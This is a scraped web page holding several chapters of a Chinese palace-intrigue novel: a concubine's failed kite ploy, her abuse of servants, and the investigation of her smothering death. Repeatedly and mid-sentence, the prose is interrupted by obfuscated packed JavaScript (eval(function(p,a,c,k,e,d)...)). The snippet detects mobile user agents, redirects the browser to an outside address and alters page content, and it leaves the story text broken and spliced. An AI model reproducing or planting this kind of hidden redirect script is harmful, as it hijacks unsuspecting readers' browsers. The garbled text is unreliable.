接着,黄典籍想走进来看看到底是怎么回事。 秦惜音微微摇头,示意黄典籍别进来。 毕竟,黄典籍也只是七品女官,没法反抗贺司籍这个六品女官。 黄典籍意味深长地看了秦惜音一眼,似乎在说,她会帮忙想办法。 于是,秦惜音继续低头抄写了起来。 她猜测,黄典籍可能会去找沈芦叶帮忙,毕竟沈芦叶也是六品司籍。 果然,没过一会,沈芦叶就过来了,笑道:“贺姐姐,你这是做什么?” 贺司籍道:“惜音违反了规矩,我罚她抄写《女官守则》百遍。” “惜音现在肩负着为皇上翻译古籍的重任,如果因为其他事耽搁了,就不好了。这样吧,等她先把手上的活干完,再抄写一百遍《女官守则》,到时候我亲自交给你看,怎么样?” 见沈芦叶求情,贺司籍也不能太生硬了,只好说道:“好吧。” 于是,沈芦叶扶起秦惜音,往外走去。 秦惜音道:“谢谢沈司籍。” “不用客气。究竟是怎么回事?” 秦惜音便把前因后果说了。 沈芦叶点头道:“我觉得你做得对。不过,贺司籍要罚你,也有她的道理。总之,你别想太多,先把古籍翻译好。” “是。” 秦惜音回到自己的房间,继续干活。 —————— 另一边。 皇帝在宫道上闲逛,忽然有个风筝飞到了他的头顶,掉了下来。 皇帝捡起来一看,见是一个蝴蝶风筝,风筝的中间还写着四个字“家国永安”。 皇帝来了兴趣,端详着这个风筝。 这时,曲南蕊跑了过来,说道:“我的风筝……” 接着,她装作刚刚看到皇帝的样子,说道:“皇上在这里……妾身给皇上请安。” 皇帝笑道:“起来吧。这是你做的风筝?” “是。” “你为什么在上面写‘家国永安’四个字呢?” “因为皇上一直操心国事,心系百姓,嫔妾不能为皇上分忧,只能在风筝上写下祈福语,希望我大魏风调雨顺,国泰民安。这样,皇上也可以轻松一些。” “你为什么不为自己祈福呢?” “嫔妾身在后宫,衣食无忧,已经很好了,不需要祈福。但是宫外的百姓,经常会居无定所,颠沛流离,所以嫔妾为他们祈福。有国才有家,后宫也是一个大家庭。国家安定,嫔妾等后妃也就安定了。” 皇帝有些欣赏地看着曲南蕊:“你说得很好,没想到曲采女还有这样的胸怀。你的风筝断线了,没法再放了,不如陪朕走走吧。” 曲南蕊露出恰到好处的惊喜和微笑,说道:“是。” 皇帝牵着曲南蕊的手,往前走去。 曲南蕊微不可见地皱了皱眉,接着马上换上微笑,让自己的表情舒展一些。 几天后,曲南蕊被晋封为七品御.女。 得知这一消息,秦惜音很高兴,偷偷让人给曲南蕊送去礼物。 等秦惜音不忙了,会亲自去看曲南蕊。 这时,有人敲了敲门。 秦惜音抬头一看,见来人是尚食局的女官松月,也是自己的朋友,笑道:“松月,你怎么来了?” “我是来给你送礼物的。还记得之前我们说过,我们俩之间谁先升官,就给谁送礼物吗?这是我给你买的耳环。” 松月递上一对和田玉耳环,秦惜音很惊喜,笑道:“当时是开玩笑的,没想到你真的买了礼物。” “这也是我的心意嘛,你能升官,我很高兴。” “那你呢?有没有升迁的机会?” “目前尚食局的女官名额比较满,我暂时没有上升空间。可能只能等长官们离职了,我才有机会吧。” “加油,期待看见你升官的那一天。” “嗯。” 秦惜音让松月待了一会,拿出糕点、茶叶给她吃。 松月知道秦惜音有些忙,就没怎么跟她说话,只是安静地喝茶、吃糕点,顺便看看闲书。 过了一会,松月说道:“我怎么感觉所有的累活都在你一个人身上了?” “也没有,有些活比较适合我干,所以我就接了。” “原来是这样。看来,太博学了也会有烦恼。” “噗,你别给我戴高帽了。” “不,我是真心佩服你。书里的文字这么晦涩难懂,难为你读了这么多书,我看见书就头疼。” “哈哈,那你不还是考中女官了?” “我主要是厨艺好,但你可是全才。我记得,你考入六尚局的分数,比我当时要高出几十分呢。” 两人又聊了一会,松月要回去做菜,就先离开了。 另一边,宫道上。 有一名妃嫔梧桐打听到皇帝即将路过这里,就放飞了手里的风筝。 并且,她算好时间,剪断了风筝的线,让风筝飘到了皇帝脚下。 梧桐本是太后身边的宫女,后来太后请女相士给所有宫人相面,女相士说梧桐、兰花、秦惜音三人都能生贵子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751617|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是,太后把梧桐、兰花都送给了皇帝当妃嫔。秦惜音因为婉拒了这条路,太后给了她考女官的机会,她也抓住机会成了女官。 而梧桐、兰花侍奉皇帝不久,就双双有了身孕。 后来,梧桐生下大皇子,晋封为六品宝林;兰花更是好运,生下双胞胎皇子,分别是二皇子、三皇子,晋封为五品才人。 梧桐虽然占了先机,生下皇长子,但也只是得到了许多赏赐,皇帝对她仍旧淡淡的,也很少来看她。 而且,兰花跟自己出身一样,却因为多生了一个孩子,晋封为五品才人。 梧桐心里难免有些吃味。 只是,这生孩子的事,也不是她能操控的。 因此,她只能想别的方法来争宠。 但是,她没读过什么书,也没有家世,没有见识,想出来的法子都不怎么管用,甚至让皇帝有些厌恶。 前几日,她听说曲南蕊放风筝,引起了皇帝的注意,直接升了一级,便决定效仿。 因此,才有了刚才那一出。 梧桐放的,是一个凤凰风筝。她想着,曲南蕊放的是蝴蝶风筝,自己好歹品级比她高,风筝的形状也要压她一头,这样才能引起皇帝的主意,同时彰显自己的身份。 皇帝果然捡到了凤凰风筝。他觉得这个风筝做工精致,便饶有兴致地多看了两眼。 只是,当他看到风筝上写的字时,却皱起了眉头。 只见风筝上写着几个小字:“愿大皇子成为最优秀的皇子。” 字迹歪歪扭扭的,像是刚学写字的人写的。 这时,梧桐也跑了过来,装模作样地说道:“哎呀,嫔妾的风筝怎么断了线,还被皇上捡到了……皇上恕罪,把风筝归还给嫔妾吧。” 皇帝看了梧桐一眼,淡淡说道:“李宝林?你怎么出来了?朕听闻你月子里落下病根,一直没好,怎么有精神放风筝?” 梧桐笑道:“嫔妾看今日天气好,就出来走走。放这个风筝,也是为大皇子祈福。” 说完这句话,梧桐就觉得有些累。她刚才是一路小跑过来的,冷汗都流下来了。 她确实还病着,太医嘱咐她最好卧床休息,不要外出。 但是,为了制造跟皇上的偶遇,她也顾不得这些了。 皇帝点头道:“你为大皇子祈福,希望他成为最优秀的皇子?” “是啊。大皇子毕竟是陛下的长子,身份贵重,应该成为诸位弟弟的表率。嫔妾希望,他各方面都是最优秀的,这样长大以后便可以跟皇上一样……” 皇帝似笑非笑:“跟朕一样当皇帝?” “不是,嫔妾不是这个意思……嫔妾是希望,大皇子长大以后跟皇上一样优秀,能文能武……毕竟,之前有个女相士说了,嫔妾能生贵子,想必大皇子的前途必定是不可限量……不过,他的身份到底有多贵重,就不是嫔妾能揣测的了,全是陛下一句话的事……” 梧桐的小心思都快溢出来了,皇帝自然听懂了她的言外之意,有些厌恶地皱了皱眉。 他把风筝还给梧桐,说道:“李宝林,你为大皇子祈福,自然没什么。不过,以后还是别放凤凰形状的风筝了,换个别的动物吧。还有,大皇子优秀固然是好,但其他皇子也不该成为他的垫脚石。你说呢?” 91. 迁怒于人 梧桐冷汗直流:“是……嫔妾记住了……” 梧桐心里有些纳闷,为什么会是这样?皇帝见到自己放风筝,不应该很开心吗?不应该给自己晋位吗? 之前,曲南蕊不就是靠着放风筝重获圣宠,才晋位的吗? 为什么轮到自己,就不一样了? 究竟有哪里不一样…… 梧桐呆呆地拿着凤凰风筝,百思不得其解。而皇帝已经走远了,也没说今晚会来她这儿。 梧桐只好落寞地回了自己宫里。 她的宫女素绢一直搀扶着她,见她脸色不佳,便安慰道:“娘娘,皇上可能是太忙了,等忙过这一阵,就会来看您的。” 谁知,梧桐却劈头盖脸地把风筝往素绢脸上砸,骂道:“该死的丫头,谁让你做凤凰风筝的!” 素绢的脸被划破了,也不敢捂着,一边哭一边说道:“娘娘,送您让奴婢做凤凰风筝的……” 梧桐直接打了素绢一巴掌,说道:“你还敢跟本宫顶嘴!你是什么东西?” 素绢赶紧跪下磕头:“奴婢错了,请娘娘恕罪……” 梧桐见自己的手上有血,应该是沾了素绢脸上的血。 她拿出一块手帕,把血擦干净,然后把手帕丢在地上,对素绢说道:“你自己掌嘴二十下,如果声音不够响,就加倍。” “是……” 素绢又是害怕,又是疼痛,但是她没办法,只能自己打自己耳光,用了十成力道,生怕惹梧桐不快。 而梧桐已经走进了房间,根本没有回头看素绢。 她心里觉得,这一切一定是素绢的错。 皇上没有给她晋级,一定是因为不喜欢那个凤凰风筝。 素绢这个死丫头,在自己说要做凤凰风筝的时候,竟然不劝阻,反而真的把凤凰风筝做出来了。 都是素绢害她在皇上面前出丑,所以素绢必须受罚。 听见素绢打自己巴掌的声音,梧桐才觉得好受一些。 她回到房间,司籍司的女史玉秀已经在这里等她。 最近,梧桐让司籍司的女史每天有空就来教她读书识字。 梧桐以前是宫女,不识字,也没有学习过。当了妃嫔以后,她觉得自己跟其他妃嫔的差距太大了,所以也开始学习。 只是,读书对她来说太难了,她学不会的时候,就会拿女史撒气。 司籍司的女史们都不太愿意到梧桐这里来,所以她们就逼迫玉秀每天来教梧桐读书。 玉秀以前仗着自己的表姐荆双蝶的威风,经常欺负同僚,同僚们对她早有不满。 现在,荆双蝶被流放了,玉秀失去了靠山,同僚们也开始明里暗里地挤兑她。 一些比较难的差事,她们都会让玉秀去做。 玉秀自从教梧桐读书以来,已经被打骂过好几次。她也不愿意过来,但没办法。 她看见梧桐回来了,赶忙迎上去,说道:“李宝林,今天是练字呢,还是继续读《三字经》?” 梧桐冷笑道:“玉秀,我看你也不怎么样,你是怎么考进司籍司的?怕是塞了钱吧?” 玉秀很惊讶,同时有些生气。她以前虽然有荆双蝶做靠山,但考进司籍司也是凭自己的本事,基本的才学是有的。 现在,她被一个没文化的、宫女出身的妃嫔这样质疑,忍不住想出口反驳,但还是压下了心中的怒气。 她只得赔笑道:“娘娘何出此言?可是奴婢有什么地方让娘娘不满意?” 梧桐坐了下来,道:“你有什么地方让我满意吗?本宫向你学写字,可你是怎么教的?今日本宫自己在风筝上写字,皇上一看见本宫的字,就不太喜欢,还说了我几句。你要是没本事,这女史你也别当了,回家嫁人吧。 不过,像你这种没本事的人,就算嫁人,也嫁不到什么好的。” 玉秀用力攥着拳头,才忍住没有骂出声来。 梧桐这种又蠢又没见识的人,骂出来的话也比别人可笑些,叫人生气也不是,一笑置之也不是。 梧桐学写字才学了几天,自然不会好看,练字是一个长期的过程。 可是,她自己学得不好,练的时间不够,反而怪玉秀没教好,甚至扯到玉秀嫁人都嫁不到好的,这也太荒唐了。 玉秀觉得,如果梧桐不是妃嫔的话,她早就把梧桐的脸给打开花了。 而梧桐还觉得自己很有道理。 皇上为什么不喜欢她的风筝?恐怕一来是形状不对,她不该做凤凰形状的风筝;二来是她写在风筝上的字不够好看,所以皇上才骂她。 总之,都是做风筝的素绢和教写字的玉秀的错,不会是她梧桐的错。 玉秀忍了又忍,问道:“娘娘,如果您觉得奴婢的字写得不好,要不奴婢教您读书吧?” 梧桐道:“读什么书?” “《三字经》怎么样?上次还没读完。” “也行,那你教吧。” 玉秀读了几句,让梧桐跟读。 但是,梧桐发音不准,也读不好,生气地说道:“怎么会这么拗口?你是不是故意读错了,误导本宫?” “没有啊,娘娘,您多读几遍就顺了。这《三字经》已经是最简单的书了。” 梧桐一巴掌打在玉秀的脸上,骂道:“你什么意思?你在讽刺本宫连最简单的书都读不好?” 玉秀捂着脸,有些不忿地说道:“奴婢不是这个意思……娘娘,就算您读不顺,也不能打奴婢吧?奴婢好歹是个女史……” “女史怎么了,不也是皇家的奴才吗?你继续教!” “是……” 玉秀继续艰难地教学,而梧桐如果有不会的,就责骂玉秀。 玉秀这辈子都没遇见过这么难的事,不过她已经被梧桐折磨过好几次了,逐渐习惯了,只能继续忍气吞声。 她只能希望,梧桐过几天就不想学习了,那样她也能解脱了。 过了一会,梧桐问道:“你说,我如果更有文化了,皇上是不是会更喜欢我?” 玉秀想了想,说道:“皇上素来宠爱娘娘,如果您更有知识,皇上自然会更加宠爱您的。” “那你说,本宫有没有当皇后的命?” “这个奴婢不敢妄加揣测,不过娘娘和大皇子都是有福之人,不是其他人能比的。” 梧桐点了点头。接下来,她对玉秀的责骂也少了一些。 而玉秀偷偷翻了好几个白眼。 —————— 贺司籍的房间。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751618|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有个女史跑了进来,对贺司籍道:“贺司籍,您的母亲来了,在乾元门外等您。” “哦,我这就过去。” 贺司籍来到乾元门外,果然见到了自己的母亲吴氏。 吴氏有些慌张地说道:“阿粲,你要救救你大哥……” 贺司籍有些担心地问道:“大哥怎么了?” “他在户部任职,因考评不合格,被罢官了……他去喝闷酒,结果喝醉后跟人起了冲突,打死了人……” “什么?怎么会这样……被打死的人是什么身份?” “是个普通百姓……以前咱们家若是遇到这样的事,很容易就摆平了。但现在,咱们家的人贬官的贬官,罢官的罢官,娘只能求到你头上了……” “这人命官司,我也没有办法啊……我只是个女官,管理书籍的。” “这事如果闹大了,你大哥是要偿命的啊……他三十多岁了,至今没有儿子,只有两个女儿……如果他死了,咱们贺家就绝后了,那娘也不想活了……” “娘,您先别激动,我想想办法就是了……如果要保住大哥,只能去求人……” “你说去求谁,娘就是倾家荡产也在所不惜……” “我很难见到外面的官员,但瑾妃娘娘的父亲是刑部尚书,我可以去见瑾妃,不知道她愿不愿意帮忙……” “你先去问问看,如果她提什么要求,你都答应……” 贺司籍考虑了一下,说道:“好吧……娘,您先回去吧。” 贺司籍来到瑾妃处,说明了情况。 瑾妃淡淡一笑:“你大哥的事,倒也不难办。只是,你用什么作为交换呢?” 贺司籍道:“只要娘娘吩咐,奴婢无有不从。” “这话不对。无论你做出什么事,都是你自己的主意,跟本宫无关,明白吗?” 贺司籍心下一凛,道:“奴婢明白了……不知道奴婢应该想做什么事?” 瑾妃对贺司籍耳语了几句。贺司籍睁大了眼睛,似乎有些惊讶。 但是,她没有反对的余地,只能点了点头。 ———————— 这天,秦惜音正在房中翻译古籍,忽然看见荣国八皇子荣旻来找她,神色有些慌张。 秦惜音笑道:“八皇子,您怎么来了?您是来上课的吗?这几天我很忙,所以没去授课,是黄典籍在上课。我带你去找她吧?” 荣旻摇了摇头,道:“我不是来上课的,我想找你帮忙……” 看荣旻一脸严肃的样子,秦惜音预感到发生了什么,问道:“怎么了?” “有一位妃嫔死了,临死前,只有一位司籍司的女史跟那位妃嫔待在一起。而我在那位妃嫔还没死的时候进去过,所以我和那位女史都有嫌疑。 皇上来过了,说凶手肯定不是我,要处死那位女史。 我想,皇上可能是看我是荣国皇子,才说凶手不是我,但别人难免会怀疑我。 如果我想彻底摆脱嫌疑的话,只能把案件查清楚。但我自己查不了,我想找姐姐你帮忙。” 秦惜音惊讶道:“哪位妃嫔死了?跟她待在一起的女史又是谁?” “那位妃嫔好像姓李,跟她待在一起的女史叫……玉秀。” 92. 梧桐遇害 秦惜音万分惊讶:“不会吧?您没说错?” “没有。” “那位姓李的妃嫔,是李宝林吗?” “好像是……” 李宝林,那就是梧桐了。 秦惜音也见过她几次,不太熟悉。没想到,再次听见梧桐的消息,竟是她的死讯。 秦惜音问道:“您知不知道她是怎么死的?” “好像是被闷死的……” “闷死……那房间里只有玉秀在,难道是玉秀闷死她的?但是,玉秀怎么敢害死妃嫔呢?” “我也不知道……我没有亲眼见到玉秀姑姑闷死李宝林。” “那您怎么会牵扯进去呢?” “前几天,我不小心打碎了李宝林宫里的一个花瓶,李宝林很凶地骂了我……” “等等……李宝林骂您?真的吗?” “真的……李宝林骂过我好几次……” 秦惜音摇了摇头,觉得这梧桐还真是胆大。她一个宫女出身的妃嫔,都敢骂别国的质子了。 看来,自从生了大皇子之后,梧桐是真的飘了。 荣旻接着说道:“因为前几日,我打碎了李宝林的花瓶,她要我赔偿一个一模一样的给她。我找了好几天,才找到一个一样的。所以刚才,我就去了她的宫殿。 那时候,我发现她趴在桌上睡觉,玉秀姑姑也是。然后我就没吵醒她们,偷偷把花瓶放下了。 我觉得,如果我叫醒李宝林的话,她一定会找理由骂我的。 放下花瓶后,我就赶紧跑了。 结果没过多久,我听说李宝林闷死了,有宫人来找我,因为有人看见我去过李宝林的房间。 我有点害怕,但我知道我没杀她,就去了李宝林的宫殿。 那里聚集了好多人,包括皇上、瑾妃娘娘。 我把前因后果讲清楚,皇上直接就说,这件事跟我无关,一定是玉秀做的。 但是,我观察其他人的表情,感觉她们还是有点怀疑我,只是碍于我的身份,不好直说。 我希望,姐姐你能帮忙查清真相。” 秦惜音沉思道:“真相难道不是玉秀杀的人吗?” “我觉得不像……我进入李宝林房间的时候,她和玉秀姑姑都在睡觉。” “怎么会两个人都睡着了?” “我也不知道,我看见她们俩趴在桌上睡的。所以,我觉得不是玉秀姑姑干的。” “房里还有其他人吗?” “没有。” 秦惜音想到了什么,问道:“您当时进房间的时候,确定李宝林还活着吗?” “我……我不确定,我只看见她趴在毯子上……” “您不是说她趴在桌上吗?” “哦,就是她手捧着毯子,毯子放在桌上,所以她的头是埋在毯子里的。” “她把头埋在毯子里?难道这就是她闷死的原因?不对啊,如果睡梦中的人感觉到呼吸不畅,会醒来或是把头侧向一边,不可能自己把自己闷死的……” “嗯,姐姐说得对。” “她当时是整个头埋在毯子里吗?” “好像是的,我也没细看。” “您当时为什么不叫醒李宝林?您怕她又骂您?可是,您是去归还花瓶的,她没有理由骂您了啊。” “是这样的,我第一次见到李宝林的时候,她正抱着大皇子。我就走上前去看那个婴儿,但不小心打了个喷嚏。 李宝林很生气,说我想把疾病传染给她儿子,骂了我一顿。我说我不是故意的,但她说我不安好心,说我得不到自己父皇的爱,被流放到魏国,就想害死她的儿子。 她还说,她儿子是贵子,跟我这种贱……贱.种不一样,让我离她儿子远点…… 从那以后,她每次见到我,都会把我骂跑。 所以,我有点怕她,能不打交道就不打交道。” “原来如此……那我过去瞧瞧吧。” 秦惜音虽然不喜欢玉秀,但也不希望玉秀背上莫须有的罪名被杀。 而且,此事事关司籍司的名誉。如果玉秀被指控杀死宫妃,司籍司也会受到牵连。 秦惜音走了出去,荣旻跟在她身后。 这时,黄典籍、连云也从自己房中走了出来,大家一交流,都是想去李宝林宫中看看的。 而且,玉秀在那里,司籍司的长官们于情于理都该过去一趟。 黄典籍道:“你们出来得正好,我们一起过去。” 秦惜音和连云都点了点头。 这时,贺司籍却拦住了她们,说道:“你们去做什么?玉秀现在惹上了谋害宫妃的罪名,我们能躲就躲,免得皇上和瑾妃娘娘迁怒于我们。” 黄典籍道:“玉秀毕竟是司籍司的人,我们一个都不去不太好吧?而且,万一她是冤枉的,我们也能帮着求求情。” 贺司籍道:“没什么好求情的,这件事的主谋只能是玉秀,难不成还能是八皇子?魏国和荣国刚签订和约不久,别因为这种事起了矛盾。” 荣旻道:“凶手不是我,但是如果不查一下就定案的话,别人会一直怀疑我,我以后不好做人。总之,我希望这件事能查得水落石出。” 贺司籍也不能不给荣旻面子,便说道:“既然如此,惜音陪八皇子走一趟就行,其他人就不用去了。” 秦惜音道:“是。” 贺司籍想着,这会皇上正在气头上,谁去谁挨骂。自己肯定不能去的,秦惜音去最好。 秦惜音带着荣旻,匆匆忙忙地跑到了梧桐所在的浣纱宫。 她刚要进去,就看见皇帝迎面走出来,脸色很不好。 秦惜音赶紧给皇帝请安,皇帝道:“起来吧。秦女官,想必你已经听说了。你劝玉秀早点认罪吧,这件事不会存在其他真相。一旦用刑,她也是白白吃些苦头,没有意义。” 秦惜音没有起来,而是磕了个头,说道:“皇上,可否让奴婢彻查此案?玉秀未必是凶手。” 皇帝道:“她不是凶手,还能有谁?秦女官,你应该知道,大局为重。” 这时,荣旻也说道:“皇上,我知道您在维护我。但是,我不需要这种强权压迫下的真相。我知道自己是清白的,不怕查。真凶也未必是玉秀姑姑,说不定是第三个人。” 皇帝道:“除了你和玉秀在现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751619|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场之外,没有其他人在场,怎么会有第三人?” “我只是这么猜测……也有一种可能,就是李宝林自己把自己给闷死的。当然,可能性很低,但也不代表不存在。万一她因为什么特殊事件,没法转头,没法抬头,就活活闷死了呢?” 皇帝考虑了一下,对秦惜音道:“秦女官,朕授权你查清此案。但是你记住,此案的真凶可以是任何人,但不能是荣国八皇子。如果查不到其他人,那凶手就是玉秀。” 秦惜音道:“是,奴婢明白。” 皇帝给了秦惜音一块玉佩,见玉佩如见皇帝。 然后,皇帝就匆匆离开了,可能是有公务要忙。 秦惜音带着皇帝的玉佩,进了浣纱宫。 瑾妃、杨昭仪,还有几个高位妃嫔都在,再加上她们各自的随从,有一大堆人。 玉秀跪在地上,涕泗横流,直呼冤枉。 秦惜音发现,玉秀的额头都磕破了,流出了血。 秦惜音蹲了下来,递给玉秀一块手帕,让她擦血。 玉秀却顾不上擦,抓住了秦惜音的裤腿,哀求道:“秦典籍,救我……我知道我以前对您多有不敬,如果您能帮我洗刷冤屈,以后我一定补偿……” 瑾妃冷冷说道:“玉秀,你不要再顽抗了,还是早点认罪吧,这样对你比较好。否则,本宫就要用刑了。” 玉秀哭着摇头:“李宝林不是我杀的,就算用刑,我也不能招……” 秦惜音站了起来,出示皇帝的玉佩,说道:“瑾妃娘娘,皇上已经让奴婢彻查此案,请容奴婢寻找线索。” 瑾妃愣了一下,随即眼中出现了一道寒光。 “好,那你就查吧。不过,本宫掌管后宫事务,也要留在这里旁观。” “是,您请自便。” 秦惜音想叫玉秀先起来,但瑾妃说道:“在查清真相之前,玉秀就跪在这里。她是来给李宝林授课的,竟然睡着了,害得李宝林被闷死。就算她不是凶手,也是有错的。” 听瑾妃这么说,秦惜音只好先不去管玉秀了。 她走进梧桐的卧室,见浣纱宫的宫人们都跪在里面,大气也不敢喘。 梧桐是六品宝林,所有的下人一共只有五个,分别是二等宫女一名、三等宫女两名、小太监两名。 六品的妃嫔没资格使用一等宫女,下人的数量也不多,二等宫女就是最高的了。 秦惜音问道:“你们几个要不先起来?” 有个宫女战战兢兢地说道:“我们没有保护好李宝林,不敢起来……” 秦惜音:“我也不知道何时能查清真相,难道你们要一直跪着?” 几个宫人还是没有起来的意思,只是把头埋得更低。年纪较小的两个宫女,浑身都在发抖。 秦惜音叹了口气,也只好先不去管她们。 秦惜音知道,这几个宫人一定很害怕。不论害死李宝林的是谁,她们身为下人,恐怕都难逃一死。 秦惜音先去查看梧桐的尸体。 梧桐的尸体已经被摆放在床上,收拾整齐。 秦惜音骤然见到梧桐苍白的面孔,有些害怕,也有几分感慨。 93. 同时入睡 自己以前在太后那儿当差时,也跟梧桐打过好几次交道,关系还可以。 后来,梧桐成为妃嫔,秦惜音忙着各种事情,渐渐的就失去了联系。 没想到,现在梧桐变成了一具尸体。 秦惜音之前也时常听说,梧桐当了妃嫔后,嚣张跋扈,欺负旁人,名声很不好。 然而,现在人死了,秦惜音心中只剩下唏嘘。 她从大理寺卿那儿借阅过几本验尸的书,这下可以派上用场了。 她仔细观察梧桐的尸体,发现梧桐的面部、唇部、指甲都呈青紫色,脸部也微微有些发肿,有暗红色的尸斑,确实是窒息而死的征兆。 她查看了其他部位,发现没有什么伤口。 梧桐身上盖着一席织锦缎蓝色毯子,刚才检查尸体的时候,秦惜音把这毯子掀开,放到了一边。 接着,秦惜音问跪着的宫人们:“刚才,李宝林闷死时,是不是闷在这条蓝色毛毯里?” 几个宫人面面相觑,似乎不知实情。 只有一个宫女回答道:“是的。奴婢素绢,今天负责给娘娘守门。奴婢看见娘娘手上抱着这条蓝色毯子。她应该是一直抱着的,睡着的时候,头可能就闷在里面了。” “如今是夏日,她怎么会抱着毯子?” “因为李宝林产后虚弱,一直没有调养好,所以有些畏风,日常都穿得比较严实,还经常抱着毯子取暖。” “今日她是跟着玉秀学习吗?” “是的,娘娘近日好学,经常叫司籍司的玉秀姑姑过来教她。” “怎么只有你守在门口,其他人呢?怎么没在屋里伺候?” 其他几个宫人互相看了几眼,都欲言又止。 有个小太监说道:“事到如今,就说出心里话吧,反正我们这次肯定活不了了……秦典籍,您不知道,平时我们娘娘很凶,对我们动辄打骂。所以,我们都不爱到她跟前伺候。 每次玉秀姑姑来教学的时候,我们几个都会偷偷离开。娘娘只顾着学习,也不会管我们去哪里了。 当然,不能所有下人都离开,我们还是会留一个人守在门口,以防娘娘有什么吩咐。 今日,轮到守门的刚好是素绢姐姐,我们其他人都到后园的凉亭那里打牌去了。 所以,这里发生了什么,我们完全不知道。” “原来是这样……” 秦惜音看向宫女素绢,问道:“素绢,你一直守在门口,有进去过吗?” “没有。” “那你有听见什么动静吗?” “一开始,是娘娘和玉秀的说话声,还比较正常。后来,娘娘责骂玉秀,玉秀道歉……” 秦惜音皱眉:“又是责骂?玉秀又怎么得罪你家娘娘了?” “是这样的,娘娘经常觉得玉秀教得不好,会责骂她,而且骂得挺难听的,今天也是如此。” “既然李宝林觉得玉秀教得不好,为何不叫其他人去教她呢?” “李宝林没有指定某个女史教她,每次想学习了,就会派人去司籍司叫人。司籍司派来的人,每次都是玉秀。” 秦惜音点了点头,觉得玉秀应该是被同僚们欺负了。 秦惜音也是从底层上来的,知道底层什么样。玉秀本就不得人心,现在她表姐离开了,人家还不得可劲欺负她,把脏活累活都给她。 秦惜音问道:“那接下来呢?” 素绢道:“没过多久,屋子里就没声音了。大约半个时辰之后,我听见玉秀慌张的叫声,就跑进去看,发现我家娘娘已经……” “这么说,是玉秀第一个发现李宝林的死?” “对。玉秀一开始有些慌张,但她很快冷静下来,叫我们浣纱宫的宫人赶紧去通知皇上和瑾妃娘娘。” “之前你有发现玉秀和李宝林都趴在桌上睡着了吗?” “没有。我只是觉得,屋内忽然没了声音,有些奇怪。” “既然你起了疑心,当时为何不进去看看?” 素绢眼神躲闪:“我……我怕进去之后,被娘娘责骂。因为娘娘当时并未叫我。但是,我没想到,屋内没有声音,竟是因为娘娘和玉秀都睡着了。” 秦惜音思索了一下,觉得素绢此举也算正常。 这些宫人害怕梧桐,自然不敢到梧桐面前晃悠。 如果素绢在屋子里没声音的时候,马上跑进去查看,说不定就能看见梧桐快闷死了,会叫醒梧桐,或是帮她调整睡姿。 只能说,这一切都是梧桐平日里作威作福的“福报”。 接着,秦惜音看向窗台上摆着的几个花瓶,问道:“哪个花瓶是八皇子刚才偷偷拿进来的?” 素绢惊讶地抬头,愣了一会,说道:“奴婢不知……” 秦惜音觉得有疑点,问道:“你怎么会不知道?刚才八皇子说,他偷偷拿了一个花瓶进来,看见玉秀和李宝林在睡觉,就没有惊醒她们,直接离开了。你既然守在门口,难道没发现八皇子?” “奴婢……奴婢当时可能上茅房去了。总之没有看见八皇子。” “那又是谁说,八皇子曾经进入李宝林的房间?” “这……奴婢不是目击者,也不知道是谁看见的。” 其他几个宫人也说道:“我们也没看见,我们当时一直在后院的凉亭里。” 秦惜音把荣旻叫了进来,问道:“这里的花瓶,哪一个是殿下还回来的?” 荣旻指着一个豆青色的花瓶,道:“是这个豆青釉褐彩堆塑螭龙纹瓶。前几日我打碎了一个一模一样的,李宝林叫我赔给她。” “殿下当时进来时,没有看见守在门口的宫女吗?” “没有,当时门口没有人守着。” “那是谁看见殿下进来了?” “我也不知道,当时四下无人。” 秦惜音想了一下,道:“您确定您进来时,李宝林和玉秀没有醒来吗?” “应该没有,她们都趴在桌上。” 秦惜音觉得有些奇怪。第一,不知道是谁看见了荣旻。第二,以梧桐的性格,应该不会邀请玉秀一起午睡。那她们俩怎么会同时趴在桌上? 过了一会,秦惜音问道:“八殿下,那是谁来找您,说您跟此案有关,让您来浣纱宫一趟的呢?” “好像是瑾妃娘娘身边的一个宫女。” “您现在还能认出那个宫女吗?” “能。” 秦惜音便带着荣旻走出门外,询问瑾妃:“瑾妃娘娘,是不是您身边的宫女曾经看见八皇子出入浣纱宫?” 瑾妃道:“是的。远山,你把当时的情况说一下。” 远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 